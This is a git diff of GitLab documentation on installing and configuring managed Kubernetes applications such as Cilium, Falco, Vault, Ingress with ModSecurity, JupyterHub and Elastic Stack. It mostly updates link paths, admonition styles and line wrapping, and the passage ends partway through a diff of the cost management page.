using GitLab CI/CD @@ -966,7 +388,7 @@ Support for installing the GitLab Runner managed application is provided by the GitLab Runner group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Runner group](https://about.gitlab.com/handbook/product/product-categories/#runner-group). +[Runner group](https://about.gitlab.com/handbook/product/categories/#runner-group). ### Install Cilium using GitLab CI/CD @@ -977,7 +399,8 @@ support for [NetworkPolicy](https://kubernetes.io/docs/concepts/services-network resources. For more information, see [Network Policies](../../topics/autodevops/stages.md#network-policy). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see the [Container Network Security Demo for GitLab 12.8](https://www.youtube.com/watch?v=pgUEdhdhoUI). +For an overview, see the +[Container Network Security Demo for GitLab 12.8](https://www.youtube.com/watch?v=pgUEdhdhoUI). Enable Cilium in the `.gitlab/managed-apps/config.yaml` file to install it: @@ -1008,14 +431,14 @@ You can check Cilium's installation status on the cluster management page: - [Group-level cluster](../group/clusters/index.md): Navigate to your group's **Kubernetes** page. -CAUTION: **Caution:** +WARNING: Installation and removal of the Cilium requires a **manual** [restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#restart-unmanaged-pods) of all affected pods in all namespaces to ensure that they are [managed](https://docs.cilium.io/en/v1.8/operations/troubleshooting/#ensure-managed-pod) by the correct networking plugin. -NOTE: **Note:** +NOTE: Major upgrades might require additional setup steps. For more information, see the official [upgrade guide](https://docs.cilium.io/en/v1.8/operations/upgrade/). @@ -1050,9 +473,9 @@ agent: enabled: false ``` -The [Hubble](https://github.com/cilium/hubble) monitoring daemon is -enabled by default and it's set to collect per namespace flow -metrics. This metrics are accessible on the [Threat Monitoring](../application_security/threat_monitoring/index.md) +The [Hubble](https://github.com/cilium/hubble) monitoring daemon is enabled by default +and it's set to collect per namespace flow metrics. This metrics are accessible on the +[Threat Monitoring](../application_security/threat_monitoring/index.md) dashboard. You can disable Hubble by adding the following to `.gitlab/managed-apps/cilium/values.yaml`: @@ -1078,7 +501,7 @@ Support for installing the Cilium managed application is provided by the GitLab Container Security group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group). +[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group). ### Install Falco using GitLab CI/CD @@ -1103,7 +526,7 @@ management project. Refer to the [Falco chart](https://github.com/falcosecurity/charts/tree/master/falco) for the available configuration options. -CAUTION: **Caution:** +WARNING: By default eBPF support is enabled and Falco uses an [eBPF probe](https://falco.org/docs/event-sources/drivers/#using-the-ebpf-probe) to pass system calls to user space. If your cluster doesn't support this, you can @@ -1120,8 +543,8 @@ isn't pre-compiled, you may need to manually prepare the kernel module or eBPF p [`driverkit`](https://github.com/falcosecurity/driverkit#against-a-kubernetes-cluster) and install it on each cluster node. -By default, Falco is deployed with a limited set of rules. To add more rules, add the following to -`.gitlab/managed-apps/falco/values.yaml` (you can get examples from +By default, Falco is deployed with a limited set of rules. To add more rules, add +the following to `.gitlab/managed-apps/falco/values.yaml` (you can get examples from [Cloud Native Security Hub](https://securityhub.dev/)): ```yaml @@ -1174,7 +597,7 @@ Support for installing the Falco managed application is provided by the GitLab Container Security group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group). +[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group). ### Install Vault using GitLab CI/CD @@ -1256,12 +679,12 @@ server: } ``` -Once you have successfully installed Vault, you must +After you have successfully installed Vault, you must [initialize the Vault](https://learn.hashicorp.com/tutorials/vault/getting-started-deploy#initializing-the-vault) and obtain the initial root token. You need access to your Kubernetes cluster that Vault has been deployed into in order to do this. To initialize the Vault, get a shell to one of the Vault pods running inside Kubernetes (typically this is done -by using the `kubectl` command line tool). Once you have a shell into the pod, +by using the `kubectl` command line tool). After you have a shell into the pod, run the `vault operator init` command: ```shell @@ -1276,7 +699,7 @@ Support for installing the Vault managed application is provided by the GitLab Release Management group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Release Management group](https://about.gitlab.com/handbook/product/product-categories/#release-management-group). +[Release Management group](https://about.gitlab.com/handbook/product/categories/#release-management-group). ### Install JupyterHub using GitLab CI/CD @@ -1333,7 +756,7 @@ Support for installing the JupyterHub managed application is provided by the Git If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group). +[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group). ### Install Elastic Stack using GitLab CI/CD @@ -1361,7 +784,7 @@ management project. Refer to the [chart](https://gitlab.com/gitlab-org/charts/elastic-stack) for all available configuration options. -NOTE: **Note:** +NOTE: In this alpha implementation of installing Elastic Stack through CI, reading the environment logs through Elasticsearch is unsupported. This is supported if [installed with the UI](#elastic-stack). @@ -1369,7 +792,7 @@ environment logs through Elasticsearch is unsupported. This is supported if Support for installing the Elastic Stack managed application is provided by the GitLab APM group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at -least 2 people from the [APM group](https://about.gitlab.com/handbook/product/product-categories/#apm-group). +least 2 people from the [APM group](https://about.gitlab.com/handbook/product/categories/#apm-group). ### Install Crossplane using GitLab CI/CD @@ -1394,8 +817,9 @@ we set for this chart. You can customize the installation of Crossplane by defining `.gitlab/managed-apps/crossplane/values.yaml` file in your cluster management project. Refer to the -[chart](https://github.com/crossplane/crossplane/tree/master/cluster/charts/crossplane#configuration) for the -available configuration options. Note that this link points to the documentation for the current development release, which may differ from the version you have installed. +[chart](https://github.com/crossplane/crossplane/tree/master/cluster/charts/crossplane#configuration) +for the available configuration options. Note that this link points to the documentation +for the current development release, which may differ from the version you have installed. Support for the Crossplane managed application is provided by the Crossplane team. If you run into issues, @@ -1419,8 +843,8 @@ You can also review the default values set for this chart in the You can customize the installation of Fluentd by defining `.gitlab/managed-apps/fluentd/values.yaml` file in your cluster management project. Refer to the -[configuration chart for the current development release of Fluentd](https://github.com/helm/charts/tree/master/stable/fluentd#configuration) -for all available configuration options. +[configuration chart](https://github.com/helm/charts/tree/master/stable/fluentd#configuration) +for the current development release of Fluentd for all available configuration options. The configuration chart link points to the current development release, which may differ from the version you have installed. To ensure compatibility, switch @@ -1430,7 +854,7 @@ Support for installing the Fluentd managed application is provided by the GitLab Container Security group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group). +[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group). ### Install Knative using GitLab CI/CD @@ -1459,11 +883,12 @@ Support for installing the Knative managed application is provided by the GitLab Configure group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Configure group](https://about.gitlab.com/handbook/product/product-categories/#configure-group). +[Configure group](https://about.gitlab.com/handbook/product/categories/#configure-group). #### Knative Metrics -GitLab provides [Invocation Metrics](../project/clusters/serverless/index.md#invocation-metrics) for your functions. To collect these metrics, you must have: +GitLab provides [Invocation Metrics](../project/clusters/serverless/index.md#invocation-metrics) +for your functions. To collect these metrics, you must have: 1. Knative and Prometheus managed applications installed on your cluster. 1. Manually applied the custom metrics on your cluster by running the following command: @@ -1520,7 +945,8 @@ podAnnotations: ``` The only information to be changed here is the profile name which is `profile-one` -in this example. Refer to the [AppArmor tutorial](https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod) +in this example. Refer to the +[AppArmor tutorial](https://kubernetes.io/docs/tutorials/clusters/apparmor/#securing-a-pod) for more information on how AppArmor is integrated in Kubernetes. #### Using PodSecurityPolicy in your deployments @@ -1563,13 +989,600 @@ Support for installing the AppArmor managed application is provided by the GitLab Container Security group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at least 2 people from the -[Container Security group](https://about.gitlab.com/handbook/product/product-categories/#container-security-group). +[Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group). ## Browse applications logs > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2. -Logs produced by pods running **GitLab Managed Apps** can be browsed using [**Log Explorer**](../project/clusters/kubernetes_pod_logs.md). +Logs produced by pods running **GitLab Managed Apps** can be browsed using +[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md). + +## Install with one click + +WARNING: +The one click installation method is scheduled for removal in GitLab 14.0. The removal +of this feature from GitLab does not affect installed applications to avoid breaking +changes. Following GitLab 14.0, users can take ownership of already installed applications +using our documentation. + +Applications managed by GitLab are installed onto the `gitlab-managed-apps` +namespace. This namespace: + +- Is different from the namespace used for project deployments. +- Is created once. +- Has a non-configurable name. + +To view a list of available applications to install for a: + +- [Project-level cluster](../project/clusters/index.md), navigate to your project's + **Operations > Kubernetes**. +- [Group-level cluster](../group/clusters/index.md), navigate to your group's + **Kubernetes** page. + +You can install the following applications with one click: + +- [Helm](#helm) +- [Ingress](#ingress) +- [cert-manager](#cert-manager) +- [Prometheus](#prometheus) +- [GitLab Runner](#gitlab-runner) +- [JupyterHub](#jupyterhub) +- [Knative](#knative) +- [Crossplane](#crossplane) +- [Elastic Stack](#elastic-stack) +- [Fluentd](#fluentd) + +With the exception of Knative, the applications are installed in a dedicated +namespace called `gitlab-managed-apps`. + +Some applications are installable only for a project-level cluster. +Support for installing these applications in a group-level cluster is +planned for future releases. +For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411). + +WARNING: +If you have an existing Kubernetes cluster with Helm already installed, +you should be careful as GitLab cannot detect it. In this case, installing +Helm with the applications results in the cluster having it twice, which +can lead to confusion during deployments. + +In GitLab versions 11.6 and greater, Helm is upgraded to the latest version +supported by GitLab before installing any of the applications. + +### Helm + +> - Introduced in GitLab 10.2 for project-level clusters. +> - Introduced in GitLab 11.6 for group-level clusters. +> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later. +> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later. +> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later. + +[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is +used to install the GitLab-managed apps. GitLab runs each `helm` command +in a pod in the `gitlab-managed-apps` namespace inside the cluster. + +- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage + applications. +- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2 + with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior + to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab + used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You + can safely uninstall the server from the GitLab application page if you have + previously installed it. This doesn't affect your other applications. + +The GitLab Helm integration does not support installing applications behind a proxy, +but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy) +is available. + +#### Upgrade a cluster to Helm 3 + +GitLab does not offer a way to migrate existing application management +on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3: + +1. Uninstall all applications on your cluster. +1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration). +1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as + an existing cluster. + +### cert-manager + +> Introduced in GitLab 11.6 for project- and group-level clusters. + +[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate +management controller that helps with issuing certificates. Installing +cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/) +and ensures that certificates are valid and up-to-date. + +The chart used to install this application depends on the version of GitLab used. In: + +- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager) + chart is used with a + [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml) + file. +- GitLab 12.2 and older, the + [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager) + chart was used. + +If you installed cert-manager prior to GitLab 12.3, Let's Encrypt +[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753) +from older versions of `cert-manager`. To resolve this: + +1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/). +1. Uninstall cert-manager. +1. Install cert-manager again. + +### GitLab Runner + +> - Introduced in GitLab 10.6 for project-level clusters. +> - Introduced in GitLab 11.10 for group-level clusters. + +[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that +is used to run your jobs and send the results back to GitLab. It's used in +conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous +integration service included with GitLab that coordinates the jobs. + +If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners) +are available. You don't have to deploy one if they are enough for your +needs. If a project-specific runner is desired, or there are no shared runners, +you can deploy one. + +The deployed runner is set as **privileged**. Root access to the underlying +server is required to build Docker images, so it's the default. Be sure to read +the [security implications](../project/clusters/index.md#security-implications) +before deploying one. + +The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner) +chart is used to install this application, using +[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml) +file. Customizing the installation by modifying this file is not supported. This +also means you cannot modify `config.toml` file for this Runner. If you want to +have that possibility and still deploy Runner in Kubernetes, consider using the +[Cluster management project](management_project.md) or installing Runner manually +via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html). + +### Ingress + +> - Introduced in GitLab 10.2 for project-level clusters. +> - Introduced in GitLab 11.6 for group-level clusters. + +[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) +provides load balancing, SSL termination, and name-based virtual hosting +out of the box. It acts as a web proxy for your applications and is useful +if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps. + +The Ingress Controller installed is +[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/), +which is supported by the Kubernetes community. + +With the following procedure, a load balancer must be installed in your cluster +to obtain the endpoint. You can use either +Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative. + +To publish your web application, you first need to find the endpoint, which is either an IP +address or a hostname associated with your load balancer. + +To install it, click on the **Install** button for Ingress. GitLab attempts +to determine the external endpoint and it should be available in a few minutes. + +#### Determining the external endpoint automatically + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6. + +After you install Ingress, the external endpoint should be available in a few minutes. + +NOTE: +This endpoint can be used for the +[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain) +using the `KUBE_INGRESS_BASE_DOMAIN` environment variable. + +If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine: + +1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes) + on Google Kubernetes Engine to ensure there are no errors on its nodes. +1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas) + on Google Kubernetes Engine. For more information, see + [Resource Quotas](https://cloud.google.com/compute/quotas). +1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service + disruptions. + +The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress) +chart is used to install this application with a +[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml) +file. + +After installing, you may see a `?` for **Ingress IP Address** depending on the +cloud provider. For EKS specifically, this is because the ELB is created +with a DNS name, not an IP address. If GitLab is still unable to +determine the endpoint of your Ingress or Knative application, you can +[determine it manually](#determining-the-external-endpoint-manually). + +#### Determining the external endpoint manually + +If the cluster is on GKE, click the **Google Kubernetes Engine** link in the +**Advanced settings**, or go directly to the +[Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/) +and select the proper project and cluster. Then click **Connect** and execute +the `gcloud` command in a local terminal or using the **Cloud Shell**. + +If the cluster is not on GKE, follow the specific instructions for your +Kubernetes provider to configure `kubectl` with the right credentials. +The output of the following examples show the external endpoint of your +cluster. This information can then be used to set up DNS entries and forwarding +rules that allow external access to your deployed applications. + +- If you installed Ingress using the **Applications**, run the following + command: + + ```shell + kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}' + ``` + +- Some Kubernetes clusters return a hostname instead, like + [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run: + + ```shell + kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}' + ``` + + If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/) + is also created, which incurs additional AWS costs. + +- For Istio/Knative, the command is different: + + ```shell + kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} ' + ``` + +- Otherwise, you can list the IP addresses of all load balancers: + + ```shell + kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} ' + ``` + +You may see a trailing `%` on some Kubernetes versions. Do not include it. + +The Ingress is now available at this address, and routes incoming requests to +the proper service based on the DNS name in the request. To support this, create +a wildcard DNS CNAME record for the desired domain name. For example, +`*.myekscluster.com` would point to the Ingress hostname obtained earlier. + +#### Using a static IP + +By default, an ephemeral external IP address is associated to the cluster's load +balancer. If you associate the ephemeral IP with your DNS and the IP changes, +your apps aren't reachable, and you'd have to change the DNS record again. +To avoid that, change it into a static reserved IP. + +Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip). + +#### Pointing your DNS at the external endpoint + +After you have set up the external endpoint, associate it with a +[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such +as `*.example.com.`) to reach your apps. If your external endpoint is an IP +address, use an A record. If your external endpoint is a hostname, use a CNAME +record. + +#### Web Application Firewall (ModSecurity) + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7. + +A Web Application Firewall (WAF) examines traffic being sent or received, +and can block malicious traffic before it reaches your application. The benefits +of a WAF are: + +- Real-time security monitoring for your application. +- Logging of all your HTTP traffic to the application. +- Access control for your application. +- Highly configurable logging and blocking rules. + +By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/), +which is a toolkit for real-time web application monitoring, logging, and access +control. GitLab applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/), +which provides generic attack detection capabilities. + +This feature: + +- Runs in "Detection-only mode" unless configured otherwise. +- Is viewable by checking your Ingress controller's `modsec` log for rule violations. + For example: + + ```shell + kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f + ``` + +To enable WAF, switch its respective toggle to the enabled position when installing +or updating [Ingress application](#ingress). + +If this is your first time using the GitLab WAF, we recommend you follow the +[quick start guide](../../topics/web_application_firewall/quick_start_guide.md). + +There is a small performance overhead by enabling ModSecurity. If this is +considered significant for your application, you can disable ModSecurity's +rule engine for your deployed application in any of the following ways: + +1. Set the [deployment variable](../../topics/autodevops/index.md) + `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity + from processing any requests for the given application or environment. +1. Switch its respective toggle to the disabled position, and then apply changes + by selecting **Save changes** to reinstall Ingress with the recent changes. + + + +##### Logging and blocking modes + +To help you tune your WAF rules, you can globally set your WAF to either +*Logging* or *Blocking* mode: + +- *Logging mode*: Allows traffic matching the rule to pass, and logs the event. +- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event. + +To change your WAF's mode: + +1. If you haven't already done so, + [install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md). +1. Navigate to **Operations > Kubernetes**. +1. In **Applications**, scroll to **Ingress**. +1. Under **Global default**, select your desired mode. +1. Select **Save changes**. + +##### WAF version updates + +Enabling, disabling, or changing the logging mode for **ModSecurity** is only +allowed in same version of [Ingress](#ingress) due to limitations in +[Helm](https://helm.sh/) which might be overcome in future releases. + +The **ModSecurity** user interface controls are disabled if the version deployed +differs from the one available in GitLab. However, actions at the [Ingress](#ingress) +level, such as uninstalling, can still be performed: + + + +Update [Ingress](#ingress) to the most recent version to take advantage of bug +fixes, security fixes, and performance improvements. To update the +[Ingress application](#ingress), you must first uninstall it, and then re-install +it as described in [Install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md). + +##### Viewing Web Application Firewall traffic + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. + +You can view Web Application Firewall traffic by navigating to your project's +**Security & Compliance > Threat Monitoring** page. From there, you can see +tracked over time: + +- The total amount of traffic to your application. +- The proportion of traffic that's considered anomalous by the Web Application + Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/). + +If a significant percentage of traffic is anomalous, investigate it for potential threats +by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity). + + + +### JupyterHub + +> - Introduced in GitLab 11.0 for project-level clusters. +> - Introduced in GitLab 12.3 for group and instance-level clusters. + +[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service +for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/) +provide a web-based interactive programming environment used for data analysis, +visualization, and machine learning. + +The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/) +chart is used to install this application with a +[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml) +file. + +Authentication is enabled only for [project members](../project/members/index.md) +for project-level clusters and group members for group-level clusters with +[Developer or higher](../permissions.md) access to the associated project or group. + +GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile) +that installs additional relevant packages on top of the base Jupyter. Ready-to-use +DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix) +are also available. + +More information on creating executable runbooks can be found in +[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab). +Ingress must be installed and have an IP address assigned before +JupyterHub can be installed. + +#### Jupyter Git Integration + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters. + +When installing JupyterHub onto your Kubernetes cluster, +[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git) +is provisioned and configured using the authenticated user's: + +- Name. +- Email. +- Newly created access token. + +JupyterLab's Git extension enables full version control of your notebooks, and +issuance of Git commands in Jupyter. You can issue Git commands through the +**Git** tab on the left panel, or through Jupyter's command-line prompt. + +JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted +format, and in the single user Jupyter instance as plain text, because +[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store) +Potentially, if a nefarious user finds a way to read from the file system in the +single-user Jupyter instance, they could retrieve the token. + + + +You can clone repositories from the files tab in Jupyter: + + + +### Knative + +> - Introduced in GitLab 11.5 for project-level clusters. +> - Introduced in GitLab 12.3 for group- and instance-level clusters. + +[Knative](https://cloud.google.com/knative/) provides a platform to +create, deploy, and manage serverless workloads from a Kubernetes +cluster. It's used in conjunction with, and includes +[Istio](https://istio.io) to provide an external IP address for all +programs hosted by Knative. + +The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts) +chart is used to install this application. + +During installation, you must enter a wildcard domain where your applications +are exposed. Configure your DNS server to use the external IP address for that +domain. Applications created and installed are accessible as +`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires +your Kubernetes cluster to have +[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). + +### Prometheus + +> - Introduced in GitLab 10.4 for project-level clusters. +> - Introduced in GitLab 11.11 for group-level clusters. + +[Prometheus](https://prometheus.io/docs/introduction/overview/) is an +open-source monitoring and alerting system you can use to supervise your +deployed applications. + +GitLab is able to monitor applications by using the +[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and +memory metrics are collected, and response metrics are also retrieved +from NGINX Ingress. + +The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus) +chart is used to install this application with a +[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml) +file. + +To enable monitoring, install Prometheus into the cluster with the **Install** +button. + +### Crossplane + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters. + +[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane +to help you manage applications and infrastructure across multiple clouds. It extends the +Kubernetes API using: + +- Custom resources. +- Controllers that watch those custom resources. + +Crossplane allows provisioning and lifecycle management of infrastructure components +across cloud providers in a uniform manner by abstracting cloud provider-specific +configurations. + +The Crossplane GitLab-managed application: + +- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the + project repository. +- Can then be used to provision infrastructure or managed applications such as + PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services + required by the application with the Auto DevOps pipeline. + +[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to +install Crossplane using the +[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl) +file. + +For information about configuring Crossplane installed on the cluster, see +[Crossplane configuration](crossplane.md). + +### Elastic Stack + +> Introduced in GitLab 12.7 for project- and group-level clusters. + +[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end +log analysis solution which helps in deep searching, analyzing and visualizing the logs +generated from different machines. + +GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet +on each node in your cluster, and ships container logs to Elasticsearch for +querying. GitLab then connects to Elasticsearch for logs, instead of the +Kubernetes API, giving you access to more advanced querying capabilities. Log +data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html). + +The Elastic Stack cluster application is intended as a log aggregation solution +and is not related to our [Advanced Search](../search/advanced_global_search.md) +functionality, which uses a separate Elasticsearch cluster. + +To enable log shipping: + +1. Ensure your cluster contains at least three nodes of instance types larger + than `f1-micro`, `g1-small`, or `n1-standard-1`. +1. Navigate to **Operations > Kubernetes**. +1. In **Kubernetes Cluster**, select a cluster. +1. In the **Applications** section, find **Elastic Stack**, and then select + **Install**. + +The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack) +chart is used to install this application with a +[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml) +file. The chart deploys three identical Elasticsearch pods which can't be +colocated, and each requires one CPU and 2 GB of RAM, making them +incompatible with clusters containing fewer than three nodes, or consisting of +`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types. + +#### Optional: deploy Kibana to perform advanced queries + +If you are an advanced user and have direct access to your Kubernetes cluster +using `kubectl` and `helm`, you can deploy Kibana manually. The following assumes +that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`. + +Save the following to `kibana.yml`: + +```yaml +elasticsearch: + enabled: false + +filebeat: + enabled: false + +kibana: + enabled: true + elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200 +``` + +Then install it on your cluster: + +```shell +helm repo add gitlab https://charts.gitlab.io +helm install --name kibana gitlab/elastic-stack --values kibana.yml +``` + +To access Kibana, forward the port to your local machine: + +```shell +kubectl port-forward svc/kibana-kibana 5601:5601 +``` + +Then, you can visit Kibana at `http://localhost:5601`. + +### Fluentd + +> Introduced in GitLab 12.10 for project- and group-level clusters. + +[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables +you to unify the data collection and consumption to better use and understand +your data. Fluentd sends logs in syslog format. + +To enable Fluentd: + +1. Navigate to **Operations > Kubernetes** and click + **Applications**. Enter a host, port, and protocol + for sending the WAF logs with syslog. +1. Provide the host domain name or URL in **SIEM Hostname**. +1. Provide the host port number in **SIEM Port**. +1. Select a **SIEM Protocol**. +1. Select at least one of the available logs (such as WAF or Cilium). +1. Click **Save changes**. + + ## Upgrading applications diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md index f13be15c6bc..d1df5642514 100644 --- a/doc/user/clusters/cost_management.md +++ b/doc/user/clusters/cost_management.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Cluster cost management **(ULTIMATE)** @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Cluster cost management provides insights into cluster resource usage. GitLab provides an example [`kubecost-cost-model`](https://gitlab.com/gitlab-examples/kubecost-cost-model/) -project that uses GitLab's Prometheus integration and +project that uses the GitLab Prometheus integration and [Kubecost's `cost-model`](https://github.com/kubecost/cost-model) to provide cluster cost insights within GitLab: @@ -28,7 +28,7 @@ permissions in a project or group. need to change this value if you use a non-managed Prometheus. - Adds the necessary annotations to the deployment manifest to be scraped by GitLab-managed Prometheus. - - Changes the 